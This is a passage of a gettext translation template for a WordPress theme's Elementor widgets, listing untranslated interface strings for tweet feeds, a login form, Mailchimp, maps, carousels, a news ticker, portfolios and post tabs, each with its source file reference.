msgid "Tweet Dots Spacing"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:144
msgid "Spacing Between Tweets Items"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:173
msgid "Text Links color"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:179
msgid "Text Links Hover color"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:195
#: inc/js_composer/shortcodes/latest_tweets/settings.php:107
msgid "Date color"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:221
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:140
#: inc/js_composer/shortcodes/custom_sliders/settings.php:688
msgid "Font size"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:240
msgid "Border and Background Active Color"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:362
#: inc/widgets/latest_tweets.php:153
msgid ""
"Please install the \"Penci Social Feed\" plugin via Apperance > Install "
"Plugins to get this widget working."
msgstr ""

#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:19
msgid " Login/Register Form"
msgstr ""

#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:55
#: inc/js_composer/shortcodes/login_form/settings.php:18
msgid "Choose Form Type"
msgstr ""

#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:59
#: inc/js_composer/shortcodes/login_form/settings.php:23
msgid "Login"
msgstr ""

#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:60
#: inc/js_composer/shortcodes/login_form/settings.php:24
msgid "Register"
msgstr ""

#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:96
msgid "Input Color"
msgstr ""

#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:114
#: inc/js_composer/shortcodes/login_form/settings.php:55
msgid "Input Placeholder Color"
msgstr ""

#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:146
msgid "Input Background Color"
msgstr ""

#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:164
msgid "Input Typography"
msgstr ""

#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:228
#: inc/js_composer/shortcodes/login_form/settings.php:112
msgid "Login & Register Links Color"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:20
msgid " Mailchimp"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:41
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:256
#: inc/js_composer/shortcodes/mailchimp/settings.php:11
msgid "Mailchimp"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:49
#, php-format
msgid ""
"Please set up the Mailchimp SignUp Form first by following <a href=\"%s\" "
"target=\"_blank\">this guide</a>."
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:63
msgid "Select Mailchimp Form"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:78
#: inc/js_composer/shortcodes/mailchimp/settings.php:22
msgid "Boxed One Line"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:80
#: inc/js_composer/shortcodes/mailchimp/settings.php:24
msgid "Briefness"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:87
msgid "Hide Description Text?"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:99
msgid "Hide Name Field?"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:111
#: inc/js_composer/shortcodes/mailchimp/settings.php:31
msgid "Content width"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:130
#: inc/js_composer/shortcodes/mailchimp/settings.php:38
msgid "Content Alignment"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:131
msgid "Applies changes when you set a width for the form"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:180
msgid "Sign Up Form Spacing Bottom"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:189
msgid "Horizontal Spacing Between Fields"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:202
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:402
msgid "Description Spacing Top"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:211
msgid "Description Spaing Bottom"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:221
msgid "Name Field Spaing Bottom"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:231
msgid "Email Field Spaing Bottom"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:241
msgid "Submit Button Spaing Bottom"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:263
msgid "Custom Fields Height"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:281
#: inc/js_composer/shortcodes/info_box/settings.php:293
#: inc/js_composer/shortcodes/mailchimp/settings.php:84
msgid "Background color"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:296
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:604
msgid "Description Text"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:304
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:183
msgid "Description Width"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:344
msgid "Name & Email Fields"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:376
msgid "Placeholder Text Color"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:398
msgid "Submit Button"
msgstr ""

#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:413
#: inc/js_composer/shortcodes/info_box/settings.php:318
msgid "Padding Left & Right"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:19
msgid " Map"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:43
msgid "Map"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:49
msgid "Google Map API key"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:60
msgid ""
"<span style=\"color: #fff;\">Note Important: </span>If you want to use full "
"features of Google Map, you need to enter the Google MAP API on <a href=\""
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:67
#: inc/js_composer/shortcodes/google_map/settings.php:17
msgid "Insert Map Using"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:71
#: inc/elementor/modules/penci-map/widgets/penci-map.php:78
#: inc/js_composer/shortcodes/google_map/settings.php:20
#: inc/js_composer/shortcodes/google_map/settings.php:26
msgid "Address"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:72
#: inc/js_composer/shortcodes/google_map/settings.php:21
msgid "Coordinates"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:85
#: inc/js_composer/shortcodes/google_map/settings.php:36
#: inc/options/framework/fields/map/map.php:24
msgid "Latitude"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:92
#: inc/js_composer/shortcodes/google_map/settings.php:46
msgid "Longtitude"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:100
#: inc/js_composer/shortcodes/google_map/settings.php:56
msgid "Map type"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:104
#: inc/js_composer/shortcodes/google_map/settings.php:59
msgid "Road"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:105
#: inc/js_composer/shortcodes/google_map/settings.php:60
msgid "Satellite"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:106
#: inc/js_composer/shortcodes/google_map/settings.php:61
msgid "Hybrid"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:107
#: inc/js_composer/shortcodes/google_map/settings.php:62
msgid "Terrain"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:133
#: inc/js_composer/shortcodes/google_map/settings.php:80
msgid "Marker Image"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:141
#: inc/js_composer/shortcodes/google_map/settings.php:85
msgid "Marker Title"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:148
#: inc/js_composer/shortcodes/google_map/settings.php:91
msgid "Info Window"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:155
#: inc/elementor/modules/penci-map/widgets/penci-map.php:178
#: inc/js_composer/shortcodes/google_map/settings.php:97
#: inc/js_composer/shortcodes/google_map/settings.php:157
msgid "Zoom"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:157
#: inc/js_composer/shortcodes/google_map/settings.php:117
msgid "Map scale"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:158
#: inc/js_composer/shortcodes/google_map/settings.php:127
msgid "Street view"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:159
#: inc/js_composer/shortcodes/google_map/settings.php:137
msgid "Rotate"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:160
#: inc/js_composer/shortcodes/google_map/settings.php:147
msgid "Overview map"
msgstr ""

#: inc/elementor/modules/penci-map/widgets/penci-map.php:161
#: inc/js_composer/shortcodes/google_map/settings.php:176
msgid "Scrollwheel"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:29
msgid " Advanced Carousel"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:57
msgid "Slider Content Position"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:70
msgid "Image link overlap on the whole slide?"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:98
#: inc/js_composer/shortcodes/testimonails/settings.php:171
msgid "Slides Per View"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:198
#: inc/js_composer/shortcodes/featured_slider/settings.php:247
msgid "Image size on Mobile"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:207
msgid "Image Fit"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:213
#, no-php-format
msgid "Width:100% x Height: Auto"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:214
msgid "Width:Auto x Height: 100%"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:224
msgid "Slider Items"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:245
msgid "Video"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:266
msgid "Media File"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:267
msgid "Custom URL"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:288
msgid "Video Link"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:290
msgid "Enter your video link"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:291
msgid "YouTube or Vimeo link"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:321
msgid "Lorem ipsum dolor sit amet, consectetur adipiscing elit."
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:353
#: inc/js_composer/shortcodes/button_popup/settings.php:149
msgid "Add Icon to Button?"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:363
#: inc/js_composer/shortcodes/button_popup/settings.php:159
msgid "Button Icon"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:405
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:818
msgid "Overlay on Image"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:414
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:827
msgid "Image Overlay Background"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:422
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:461
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:835
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:874
msgid "Overlay Opacity"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:433
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:472
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:846
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:885
msgid "Overlay Opacity on Hover"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:444
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:857
msgid "Overlay on Content"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:453
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:866
msgid "Content Overlay Background"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:524
msgid ""
"This option just applies when you selected content to display on the image."
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:589
msgid "Links Color on Description"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:718
msgid "Padding for Whole Slides"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:729
msgid "Content Margin Top"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:741
msgid "Content Margin Bottom"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:811
msgid "Slides Overlay"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:898
msgid "Advanced Carousel Style"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:905
msgid "Carousel Slides"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:915
msgid "Slides Background"
msgstr ""

#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:945
msgid "Carousel Content"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:20
msgid " News Ticker"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:41
msgid "Display"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:70
#: inc/js_composer/shortcodes/news_ticker/settings.php:35
msgid "Display Next/Prev Icons as Buttons"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:81
#: inc/js_composer/shortcodes/news_ticker/settings.php:44
msgid "Move Next/Prev Icons/Buttons To The Right Side"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:98
#: inc/js_composer/shortcodes/news_ticker/settings.php:53
msgid "Turn off Uppercase for \"Top Posts\" text"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:115
#: inc/js_composer/shortcodes/news_ticker/settings.php:68
msgid "Turn off Uppercase for Post Titles"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:150
#: inc/js_composer/shortcodes/news_ticker/settings.php:100
msgid "Transition Animation"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:177
#: inc/js_composer/shortcodes/news_ticker/settings.php:163
msgid "Set Borders Around The News Ticker"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:201
msgid "\"Top Posts\" Section"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:240
msgid "Font size for Next/Prev Icons"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:250
#: inc/js_composer/shortcodes/news_ticker/settings.php:191
msgid "Next/Prev Icons Color"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:261
#: inc/js_composer/shortcodes/news_ticker/settings.php:198
msgid "Next/Prev Icons Hover Color"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:272
#: inc/js_composer/shortcodes/news_ticker/settings.php:205
msgid "Next/Prev Buttons Background Color"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:284
#: inc/js_composer/shortcodes/news_ticker/settings.php:213
msgid "Next/Prev Buttons Hover Background Color"
msgstr ""

#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:296
msgid "Post Titles"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:21
msgid " Open Hour"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:41
msgid "Openings Hours / Menu"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:57
msgid "Custom title"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:59
#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:83
msgid "Monday"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:70
#: inc/js_composer/shortcodes/open_hours/settings.php:61
msgid "Hours or Price"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:88
msgid "Tuesday"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:93
msgid "Wednessday"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:102
#: inc/js_composer/shortcodes/open_hours/settings.php:69
msgid "Space Item"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:110
msgid "Subtitle Margin Top"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:156
msgid "Typhography for Title"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:164
msgid "Subtitle Color"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:172
#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:197
msgid "Typhography for Subtitle"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:180
msgid "Font size for Subtitle"
msgstr ""

#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:189
#: inc/js_composer/shortcodes/open_hours/settings.php:191
msgid "Hours or Price Color"
msgstr ""

#: inc/elementor/modules/penci-pintersest/widgets/penci-pintersest.php:18
msgid " Pinterest"
msgstr ""

#: inc/elementor/modules/penci-pintersest/widgets/penci-pintersest.php:45
#: inc/js_composer/shortcodes/pintersest/settings.php:15
msgid ""
"Enter the <strong style=\"color: #ff0000;\">username</strong> or <strong "
"style=\"color: #ff0000;\">username/board_name</strong> for load images:"
msgstr ""

#: inc/elementor/modules/penci-pintersest/widgets/penci-pintersest.php:49
msgid ""
"Example if you want to load a board has url <strong style=\"color: #ff0000;"
"\"><a href=\"https://www.pinterest.com/thefirstmess/animals-cuteness\" "
"target=\"_blank\">https://www.pinterest.com/thefirstmess/animals-cuteness</"
"a></strong> You need to fill <strong style=\"color: #ff0000;\">thefirstmess/"
"animals-cuteness</strong>"
msgstr ""

#: inc/elementor/modules/penci-pintersest/widgets/penci-pintersest.php:62
msgid "Cache life time ( unit is seconds )"
msgstr ""

#: inc/elementor/modules/penci-pintersest/widgets/penci-pintersest.php:70
#: inc/js_composer/shortcodes/pintersest/settings.php:36
msgid "Display more link with username text?"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:18
msgid " Popular Categories"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:46
#: inc/js_composer/shortcodes/popular_cat/settings.php:11
msgid "Amount"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:53
#: inc/js_composer/shortcodes/popular_cat/settings.php:17
msgid "Categories type"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:57
#: inc/js_composer/shortcodes/popular_cat/settings.php:20
msgid "Popular categories by number posts"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:58
#: inc/js_composer/shortcodes/popular_cat/settings.php:21
msgid "Popular categories sort by name A->Z"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:65
#: inc/js_composer/shortcodes/popular_cat/settings.php:27
msgid "Show posts count"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:74
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:147
#: inc/js_composer/shortcodes/popular_cat/settings.php:37
msgid "Show hierarchy"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:84
#: inc/js_composer/shortcodes/popular_cat/settings.php:47
msgid "Hide Uncategorized category"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:129
msgid "Border Bottom Color"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:149
#: inc/js_composer/shortcodes/popular_cat/settings.php:91
msgid "Post Counts  Text Color"
msgstr ""

#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:160
msgid "Spacing Between Categories"
msgstr ""

#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:22
msgid " Popular Posts"
msgstr ""

#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:114
#: inc/js_composer/soledad_vc.php:1730
msgid "Show Prev/Next Buttons"
msgstr ""

#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:122
#: inc/js_composer/soledad_vc.php:1740
msgid "Hide Dots"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:21
msgid " Portfolio"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:44
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:148
#: inc/js_composer/soledad_vc.php:1364
msgid "Portfolio"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:62
msgid "Choose Item Style"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:66
msgid "Text Overlay"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:67
msgid "Text Below Image"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:74
#: inc/gutenberg/block/portfolio/index.js:126
msgid "Number Columns"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:93
msgid "This option does not apply for \"Masonry\" Style"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:99
msgid "Display Filter?"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:108
msgid "All Portfolio Text"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:119
#: inc/gutenberg/block/portfolio/index.js:44
#: inc/js_composer/soledad_vc.php:1458
msgid "Numeric Pagination"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:121
#: inc/gutenberg/block/portfolio/index.js:46
#: inc/js_composer/soledad_vc.php:1460
msgid "Infinite Load"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:122
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:652
#: inc/elementor/modules/penci-product/widgets/penci-product.php:312
#: inc/js_composer/shortcodes/big_grid/settings.php:348
#: inc/js_composer/shortcodes/product_tabs/settings.php:157
msgid "Next/Previous"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:129
msgid "Number of Posts Each Time Load More Posts"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:137
msgid "Enable Click on Thumbnails to Open Lightbox?"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:155
msgid "Filter"
msgstr ""

#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:192
#: inc/js_composer/soledad_vc.php:1543
msgid "Portfolio Background Overlay Color"
msgstr ""

#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:21
msgid " Widget Posts Slider"
msgstr ""

#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:45
#: inc/js_composer/shortcodes/big_grid/settings.php:38
#: inc/js_composer/shortcodes/posts_slider/settings.php:27
msgid "Select Style for This Slider"
msgstr ""

#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:93
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:183
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:125
#: inc/js_composer/shortcodes/posts_slider/settings.php:49
#: inc/js_composer/shortcodes/recent_posts/settings.php:172
msgid "Hide post date?"
msgstr ""

#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:98
msgid "Disable lazyload ?"
msgstr ""

#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:103
#: inc/js_composer/shortcodes/posts_slider/settings.php:67
msgid "Enable Autoplay Slider?"
msgstr ""

#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:117
msgid "Post Slider"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:24
msgid " Posts Tabs"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:46
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:277
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:152
#: inc/widgets/posts_tabs.php:27 inc/widgets/posts_tabs.php:29
#: inc/widgets/posts_tabs.php:486
msgid "Tabs"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:51
msgid "Tabs Order"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:65
msgid "Tabs Style"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:75
msgid "Hide Recent Posts Tab"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:80
msgid "Hide Popular Posts Tab"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:85
msgid "Hide Comments Tab"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:99
msgid "Ignore Sticky Posts?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:106
msgid "Number of posts to show"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:112
msgid "Number of offset posts"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:117
msgid "Custom words length for post titles:"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:123
msgid "Number of comments to show"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:129
#: inc/js_composer/shortcodes/recent_posts/settings.php:83
msgid "Custom Image Size for Featured Posts"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:159
msgid "Thumbnail Ratio"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:168
#: inc/template-builder/single-elements/postpagination.php:95
msgid "Thumbnail Width"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:177
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:114
msgid "Show Timeline Dots?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:188
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:128
msgid "Move post meta to display above post title?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:193
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:220
#: inc/js_composer/shortcodes/small_list/settings.php:141
msgid "Hide Featured Image?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:198
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:143
#: inc/js_composer/shortcodes/recent_posts/settings.php:116
msgid "Display thumbnail on right?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:203
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:151
#: inc/js_composer/shortcodes/recent_posts/settings.php:125
msgid "Display on 2 columns?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:208
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:158
